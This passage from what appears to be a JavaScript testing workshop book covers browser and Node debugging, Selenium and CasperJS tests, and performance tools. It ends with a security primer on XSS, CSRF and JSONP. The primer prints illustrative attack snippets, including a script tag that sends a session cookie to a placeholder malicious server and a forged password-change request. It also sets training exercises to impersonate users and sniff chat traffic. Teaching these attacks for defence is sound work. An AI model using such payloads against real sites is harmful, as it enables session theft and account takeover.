A powerful feature in Firebug is the text search in the source files. When you go to the “Script” taband press Ctrl + F, Firebug let you choose whether you want to search in a particular file or in all thefiles loaded by the page (the “Multiple Files” option). This is very useful when there are too manyfiles loaded and it’s hard to know which one contains the code we are interested in.

Another useful feature is the “Break On Next” feature. It’s a small toggle button at the left hand sidewith a pause symbol and a smaller play symbol on it. When enabled, Firebug will pause executionright away. So we can enable it, and then click a button for example. Firebug will pause the executionin the event handler code. This may be the shortest path when the behavior under test is triggeredby user interaction.

Similar to “Break on Next” is the “Break On All Errors”. But this one is in the “Console” tab, not inthe “Script” one. It’s exactly in the same position. When enabled, Firebug will pause the executionas an exception is thrown, like a breakpoint.

Debugging with Chrome Dev Tools

Let’s have a look at Chrome’s specific debugging features.

If the code is minified, Google Chrome has a “Pretty print” option that makes it read better. Thisoption is enabled by clicking the button with curly braces at the bottom ({}). The button appearswhen a JavaScript file is opened.

Right besides the “Pretty print” button it’s the “Pause on all the exceptions” button. This button’sgot three states. It can be disabled, enabled for all the exceptions or enabled only for uncaughtexceptions. When enabled, it will freeze the execution as the exception is thrown letting us observethe context.

On the right hand side, beside the code, Chrome displays the “Watch Expressions”, “Call Stack”,“Scope Variables”, “Breakpoints” and more. There are different kind of breakpoints:

• If you want to pause the execution on any an AJAX request, go to deploy the XHR Breakpointsoption and select “Any XHR”. This is a fast way to inspect code making requests to the server.Once the code is paused there, you can have a look at the Call Stack to find out what codepath leads to the AJAX request.

• If you want to pause the execution on any “button click” for example, deploy the “EventListener Breakpoints” item, the deploy “Mouse” and select “click”.

For more information see the official documentation¹⁷.

¹⁷https://developers.google.com/chrome-developer-tools/

Debugging Applications 25

Debugging on IE

Internet Explorer 8 and later comes with Developer tools too, although they are limited comparedwith Firefox and Chrome. Find the Microsoft documentation and tutorials here¹⁸.

Fortunately Firebug (Firebug little actually) can also be used on IE. Firebuglittle works on IE6+versions and provide a subset of Firebug’s functionality. There are several ways to debug withFirebug little.

The first one is including the library in the source code of your page.

1 <script type="text/javascript" src="https://getfirebug.com/firebug-lite.js">

2 </script>

The second is using bookmarks. See a screencast on how to do it here¹⁹.

Debugging JavaScript in the server

Node.js comes with a built-in debugger. All we need to start up the debugger is:

1 $ node --debug path/to/the/javascript/file.js

In order the use a GUI for debugging, we can use the node-inspector:

1 # node install -g node-inspector

2 $ node-inspector &

Now just open the browser pointing at http://127.0.0.1:8080/debug?port=5858 Node inspector usesGoogle Chrome Dev Tools as the GUI.

¹⁸http://msdn.microsoft.com/en-us/library/dd565628(v=vs.85).aspx¹⁹http://www.youtube.com/watch?v=vLJ2RaNZ22E

Online toolsThere are several online sites providing functionality to debug, inspect, try and compress JavaScriptcode among other things:

• JSFiddle²⁰: Try HTML, CSS and JS on the fly together with a wide range of JS libraries.• JSBin²¹: Similar to JSFiddle but with online collaboration features.• JSBeautifier²²: Paste your minified JavaScript to make it readable.• JSON Pretty Print²³: Paste your JSON and get it formatted in a human readable style.• JS Compress²⁴: Compress/Minify code• JSMini²⁵: Compress/Minify code• JS Hint²⁶: The online version of JSHint to detect errors and potential problems in your code• JS Line²⁷: The online version of JSLint to detect errors and potential problems in your code• RegexPal²⁸: A regular expression tester

²⁰http://jsfiddle.net/²¹http://jsbin.com/²²http://jsbeautifier.org/²³http://jsonprettyprint.com/²⁴http://jscompress.com/²⁵http://jsmini.com/²⁶http://www.jshint.com/²⁷http://www.jslint.com/²⁸http://regexpal.com/

Integration Testing utilitiesThere are different types of integration tests depending on their granularity. End-to-end tests arecoarse-grained covering pretty much all the layers in the application. But they are expensive andhard to maintain because they can break for several reasons. If there are no additional unit tests orfine-grained integration tests failing at the same time that the end-to-end test, we’ll have to debug it.And debugging is something we must avoid because it’s time consuming and really hard to estimatefor how long we’ll be doing so. The finer the tests are, the easier it is to find out why they are brokenbut at the same time they cover less functionality.

In the following sections we are going to review several tools to create different types of integrationtests, using our “Test The Game” application as an example. In addition we are going to useLiveTeamApp²⁹ to practice how to test complex rich applications. LiveTeamApp is a real time toolfor teams to be aware of each others availability, pomodoros³⁰ and to keep track of time spent ontasks. The chat is synchronized with the pomodoro and the task everyone is working on is displayedto others, together with the time left for the person to finish off the pomodoro.

Selenium

Selenium is a powerful testing library for web pages/applications. It let us interact with the GUIprogrammatically and it’s very intuitive. It’s used for automated tests that access the applicationthrough the UI.

²⁹http://www.liveteamapp.com³⁰http://pomodorotechnique.com/

Integration Testing utilities 28

Selenium IDE

Selenium IDE³¹ is a plugin for Firefox that allows us to write and execute automated tests withoutwriting code, by recording the way we use the page/application. Recorded tests may be useful asa starting point to create tests from scratch faster. Then it can generate the equivalent test in code,in a wide variety of programming languages in order for them to be maintained by developers andtesters using tools like version control systems. As a first approach to automated tests, Selenium IDEis very convenient.

Test The Game with Selenium IDEInstall Selenium IDE on your Firefox. Open up our game page and start up Selenium IDE.Switch on the record mode and play a game, scoring 5 points. Stop the record mode. Writeall the necessary assertions to make sure the score is always present in the screen and runthe test to see it pass. Generate and read the Java code for the test (with JUnit 4).

Notice how the Java code uses Webdriver. Webdriver³² is a compact, Object-oriented API for usingSelenium programmatically. With Selenium we can even execute JavaScript code in our tests.

As you can see Selenium can be used regardless the test runner. It’s commonly used in conjunctionwith JUnit, Cucumber, Fitnesse, Concordion, …

³¹http://jsmini.com/³²http://www.seleniumhq.org/projects/webdriver/

Integration Testing utilities 29

Advantages of SeleniumMature and stable. Bindings for many programming languages. Integration with Firefox.Easy integration with many tests frameworks.

Run the test from EclipseDownload Eclipse³³ and Selenium for Java³⁴ Create a new project and include all thedownloaded files (.jar). Create a new JUnit test case file in the project. Copy and pastethe generated Java code from Selenium IDE to the file in the project. Run the test withJUnit.

CasperJS

CasperJS is an open source navigation scripting & testing utility written in Javascript for thePhantomJS WebKit headless browser and SlimerJS (Gecko). It eases the process of defining a fullnavigation scenario and provides useful high-level functions, methods & syntactic sugar for doingcommon tasks.

You need to install PhantomJS in order to do the following exercises. CasperJS is already installedin the project folder. For this workshop we are using CasperJS version 1.1.0. Once PhantomJS isinstalled, go to the “testTheGame” folder and execute this command:

1 $ casperjs/bin/casperjs tests/casperGamePlayer.js

The first one run a test whereas the second is just a script for browser automation.

In Casper a script is a sequence of steps executed in the same order they appear in the script:

1 casper.then(function(){/* ... step 1 ...*/});

2 casper.then(function(){/* ... step 2 ...*/});

A step does not start until the previous one has stopped the JavaScript execution. Therefore, weknow the JavaScript in the steps is executed in sequence. This sequential behavior is one of the morehandy features.

³³http://www.eclipse.org/downloads/³⁴http://selenium.googlecode.com/files/selenium-java-2.35.0.zip

Integration Testing utilities 30

..

Note that this doesn’t apply to asynchronous calls like AJAX.

Advantages of CasperJS/PhantomJSThe sequential nature of the scripts. Easy integration with command line tools. The speedof the tests (thanks to PhantomJS). Easy JavaScript injection/execution.

PhantomJS has two browser contexts, one is the context where the script executes and the other isthe context of the actual page being tested. In order to execute JavaScript in the context of the webpage, we need to do it through the “evaluate” function that sends the message over to that context.With CasperJS, we do it this way:

1 casper.thenEvaluate(function(){

2 /* this is like opening the console in the browser and type in code: */

3 $('#someId').text('testing');

4 });

Notice that invoking “console.log” in the web context does not produce any output in the Caspercontext:

1 casper.thenEvaluate(function(){

2 console.log('testing'); // will not print in the command line

3 });

In order to connect the two consoles you have to use the built-in “clientutils” module:

1 casper.thenEvaluate(function(){

2 __utils__.echo('testing'); // does print

3 });

For the same reason, variables can’t be shared between the two contexts straight away:

Integration Testing utilities 31

1 var someCasperVar = 2;

2

3 casper.thenEvaluate(function(){

4 someCasperVar = 5;

5 });

6

7 casper.then(function(){

8 console.log(someCasperVar); // prints out 2

9 });

To work around this, use the utils object.

1 var someCasperVar = 2;

2

3 casper.then(function(){

4 someCasperVar = this.evaluate(function(){

5 return __util__.findAll("div");

6 });

7 console.log(someCasperVar); // prints out all div nodes in page

8 });

There are two ways of using CasperJS in the current version. One is to write scripts (automate thebrowser) and the other is to write tests with assertions (automate the browser and make assertions).This is the structure of a test:

1 casper.test.begin('Name of the scenario', N, function suite(test) {

2 casper.start(URL, function(){

3 });

4

5 casper.run(function(){

6 test.done();

7 });

8 });

N is the number of assertions in the scenario. It N doesn’t match with the name of assertions Casperwill show a warning in the console.

Run and modify the testsRun the tests first: $ casperjs/bin/casperjs test tests/casperTests.js

In the file “tests/casperTests.js” there are questions in comments in the code. Can youanswer those questions? Rename the file index2.html to index.html and run the tests again.Why are they failing?

Integration Testing utilities 32

Automate the game playerWrite a CasperJS script to be the fastest clicker ever. This exercise will help you understandthe asynchronous nature of AJAX.

Use Casper to send chat messagesCreate a Casper script to send messages to a user in LiveTeamApp API:xplive.App.teamCommunicator.sendMessage(msg).to(“Bob”); Then debug the applicationto find out how to send messages to the team chat.

Integration tests with Jasmine, jQuery and the DOM

There are several ways to test the GUI apart from the end-to-end tests we’ve seen before. Sometimeswe just want to test that elements are present or have some properties and that event handlers areproperly wired up.

On way is to load the actual application within an iframe using the runner html file as the parentwindow. Then we can access items in the iframe and make assertions. Another way is to use librarieslike jasmine-jquery³⁵ as we do in here. This library includes matchers to make assertions on elementsusing jQuery selectors. Moreover it contains the functionality to inject the target html template(snippet) into the DOM of the test runner.

Run the tests and review the filesTo run the tests open the browser and go here: http://localhost:3000/tests/runner.html OpendomIntegrationSpec.js, runner.html and fixture.html under the test folder. There are hiddenkoans in the form of comments in the files. Can you understand the files and answer thequestions?

Why do we need the server?As you can see, integration tests are being run using the local web server. Why can’t wejust run them by opening the html file in the browser? Try to do it and understand why itdoesn’t work.

³⁵https://github.com/velesin/jasmine-jquery

Fast and isolated tests with doubles:Stubs, Mocks and Spies

..

This session is pending, sorry…

Stubs

Mocks

Spies

Code quality toolsJSHint

Code coverage

Karma + Instanbul

• http://ariya.ofilabs.com/2013/10/code-coverage-of-jasmine-tests-using-istanbul-and-karma.html

Blanket.js

Hunting memory leaks

..

This session is pending, sorry… in the meanwhile check this out

• https://github.com/gonzaloruizdevilla/debuggingmemory• https://developers.google.com/chrome-developer-tools/docs/timeline• https://developers.google.com/chrome-developer-tools/docs/heap-profiling• https://developers.google.com/chrome-developer-tools/docs/heap-profiling-dom-leaks#top

Performance tipsThe DOM in general is not as slow as some people think. However there are certain operations thattake a lot of time. They are usually operations involving the creation or deletion of nodes in thepage. Operations like querying for node attributes are very fast. Libraries like jQuery are optimizedto search for DOM elements, but if we have a long loop, we should save time by keeping copies toDOM references in variables rather than querying on each iteration.

Watch out for loopsIf they involve heavy DOM operations like the creation/deletion of nodes in the page.

Heavy loops might freeze the GUI for a few seconds prejudicing user experience. To keep the GUIalive, long operations should be done asynchronously using timers (“setTimeout” and “setInterval” )or Web Workers³⁶.

Measuring performance

How long does it take for the application to handle a certain event like a button click? How longdoes it take to paint certain area of the screen?

Developer tools for Chrome come already with profiling support. Just go to the “Profiling” tab, mark“Collect JavaScript CPU Profile” and click on “Run”. Use the application for a while and stop. You’llsee what functions are more CPU consuming.

Apart from the built-in profiling support, Speed Tracer³⁷ is a comprehensive profiling plugin forChrome.

³⁶http://www.whatwg.org/specs/web-apps/current-work/multipage/workers.html³⁷https://developers.google.com/web-toolkit/speedtracer/get-started?csw=1

Performance tips 37

Speed tracer

Once installed, Speed Tracer places a green icon at the top right corner in the browser window.To start recording and measuring just, click the icon whenever you are in the website you want tocheck.

Measure with Speed TracerGo to LiveTeamApp and start recording with Speer Tracer. Find out how long does it takefor the application to start or stop a task.

Benchmarking

There are several tools to compare the performance of certain code. One is the library Benchmarkjs³⁸.There are also online sites like jsperf.com³⁹ offering benchmarking utilities.

³⁸http://benchmarkjs.com³⁹http://jsperf.com/

Security basicsThis is not a security guide. This is just a very brief overview of the main security issues that everydeveloper and tester must be aware of.

If an external source can inject JavaScript into your page, it’s compromised, your site is no longersecure. The basic rule of thumb to add security in the front-end is to sanitize all user input rejectingany JavaScript. Also notice that with JavaScript, the source code is on the page visible to anyone,so you can’t keep an algorithm secret. There are tools to obscure the code but there are also tools tomake it “readable” again. If the implementation have to be confidential, don’t use JavaScript for it.

The basic rule of thumb for security in the server side is to consider all input malicious until provenvalid. Any input data like JSON must be examined and validated.

Cookies

Browsers don’t allow JavaScript to read cookies from other domains for security reasons. There isno JavaScript you can write to access cookies from other sites stored in the local machine. So themajority of the attempts to steal cookies will come from your own site, mostly in the form of XSSattacks, with JavaScript code injected in the page. CSRF attacks are another hazard that we’ll seelater but they have to do more with the server side.

You have to make sure that information contained within cookies is encrypted in a way that onlythe server side can decrypt it. If the cookie is being decrypted with JavaScript in the browser, you aregiving the access key to any person navigation through your site, even if the JavaScript is obfuscated.Security can’t be handled in the browser. You can have some data validation in the browser but noticethat its purpose is not to provide security, it’s to provide fast feedback enhancing user experience.

If the site uses cookies that are intended to be managed by the server side exclusively, you must addthe HttpOnly⁴⁰ flag to your cookies. This is a flag added by the server when it creates cookies andtells the browser not to let JavaScript code access it.

XSS: Cross-site scripting.

XSS attacks exploit the belief that servers render pages we can trust, which might not be true, thusbecoming the target of the attack.

Think of a forum where I can post messages. If I could insert JavaScript within my message and thesite doesn’t avoid it, when any other logged-in user accesses the forum and read my message, the

⁴⁰https://www.owasp.org/index.php/HttpOnly

Security basics 39

JavaScript code will be executed. That JavaScript code can be malicious. It will operate under theidentify of the logged user, on his behalf. The user’s session token might be contained within thecookies, so the malicious code could send it to a remote server and use it to log in and change thepassword. Or it can try any type of CSRF attacks.

As an example, if I could insert the following snipped into a posted message, the browser wouldredirect all users loading it to another site, immediately.

1 <script> window.location = "http://some-other-site.com"; </script>

When a user can insert JavaScript in a page that others will load later, door is open to all kind ofattacks, the site is seriously compromised. No long ago, Twitter had this problem, JavaScript couldbe inserted on tweets.

A basic technique to secure input against XSS is to replace “<” and “>” symbols with “lt;” and “gt;”so that “

The same-origin policy.

So if I made my way to inject JavaScript into the forum, can I just send user’s session cookies to mymalicious server via AJAX?

AJAX is a way to send data from the browser to the server side using JavaScript. It looks like I couldpost cookies to a remote server somewhere. For this reason, browsers cancel any message sent todomains other than the one serving the page.

AJAX requests are only allowed to the same domain that served the page.

However, it is still possible to send data via JavaScript with JSONP, CORS (Cross-Origin RequestSharing) or older techniques like changing “window.location” or “form.submit()”.

JSONP

The same-origin policy don’t allow you to send or receive data from different domains using AJAX,but you can still insert scripts on the page, coming from other domains, using the “script” tag.

1 <script type="application/javascript"

2 src="http://server2.example.com/Users/1234">

3 </script>

As long as the url returns valid JavaScript, it will be interpreted by the browser once it’s loaded.Given that you can generate script tags dynamically with JavaScript, it means you can request blocksof JavaScript from other domains on the fly. The response can’t be JSON, it must be JavaScript. Thetrick to get JSON is to send object literals wrapped in a function call:

Security basics 40

1 someFunc({someProperty: 'literal'});

The function “someFunc” has to be present in the browser, otherwise JavaScript will raise an errorwhen trying to execute this response from the remote domain.

All you have to do is make that function exist to get the object literal from the remote domain, sothat you can process it. This is what JSONP libraries do underneath. When you invoke somethinglike:

1 jsonp_lib({url: 'http://someRemoteServer/giveMe/userData/123',

2 success: userDataHandler});

It creates a script tag with that url in the “src” attribute, typically adding the callback function as aparameter:

1 http://someRemoteServer/giveMe/userData/123?jsonp=someFunc

Then the server knows it has to return an object literal wrapped up in the someFun callback,returning something like this:

1 someFunc({userId: 123, userName: 'John'});

Now the library, inside the someFunc function calls your code back (userDataHandler), passing inthe retrieved object literal.

An XSS attack could generate a script tag into your page, making a call to a remote server sendingsensible information:

1 <script type="application/javascript"

2 src="http://malicious-server.example.com/session-cookie/xxxxxx">

3 </script>

Where xxxxx is the cookie information read using JavaScript.

CSRF: Cross-site request forgery.

CSRF attacks exploit the belief that servers can trust clients/users which might not be true, thusbecoming the target for attacks.

Imagine that I made my way to inject JavaScript into the forum. Now imagine that Gmail hada RESTful API to change passwords (which is not the case). And imagine the user has two tabsopened in the browser. One is logged-in at Gmail and the other visits the forum. If the maliciousJavaScript was something like this:

Security basics 41

1 <script src="http://gmail.com/changePassword?newPassword=hacked"></script>

As the user is logged-in, the browser sends the session cookie to Gmail and, if they didn’t check thereferer but only the session cookie, they would change the password. Of course, this is not the casewith Gmail, it’s just an example to illustrate what is CSRF.

The idea is making requests to other sites that might trust them, believing that it was the user whoordered the operations. A basic technique to protect the server against CSRF is validating the Refererand Origin headers. For more information visit the OWASP Cheat Sheet⁴¹

Sending malicious JSON data.

Logged users may be dangerous too. Specially because there is no way to crypt the JSON data sentto the server (it can be, but also decrypted). So a logged user can open the console and see that acertain operation sends this JSON:

1 {userId:777, newScore: 888}

Where 777 is it’s own identifier. Then he may try to change other users by sending a request to thesame url with this JSON:

1 {userId:555, newScore: 0}

This is the reason why the security has to be in implemented in the server side.

Make other users looseUse our “test the game” to impersonate other users by setting their score to zero.

Sniffing network messages.

The “Network” tab within Developer Tools sniffs all the incoming and outgoing traffic. No matterwhether it is HTTP or Websockets. Websockets use channels to send data and sometimes messagesbetween certain users may be broadcasted over the channel reaching users not involved in theconversation. This is the default behavior of the popular Socket.io library.

Sniffing the chatThe current version of LiveTeamApp exposes a security issue regarding the chat whichuses Websockets. What kind of information can you sniff?

⁴¹https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet#CSRF_Prevention_without_a_Synchronizer_Token

References• Book: Testable JavaScript - Mark Ethan Trostler - O’Reilly Media (ISBN 10:1-4493-2339-1)• Book: JavaScript Allongé - Reginal Braithwaite - Leanpub⁴²• Book: JavaScript: The Good Parts - Douglas Crockford - O’Reilly Media (ISBN: 978-0-596-51774-8)

• Presentation: Categorizing Values - Axel Rauchsmayer - Speakerdeck⁴³

⁴²https://leanpub.com/javascript-allonge⁴³https://speakerdeck.com/rauschma/categorizing-values-typeof-instanceof-and-beyond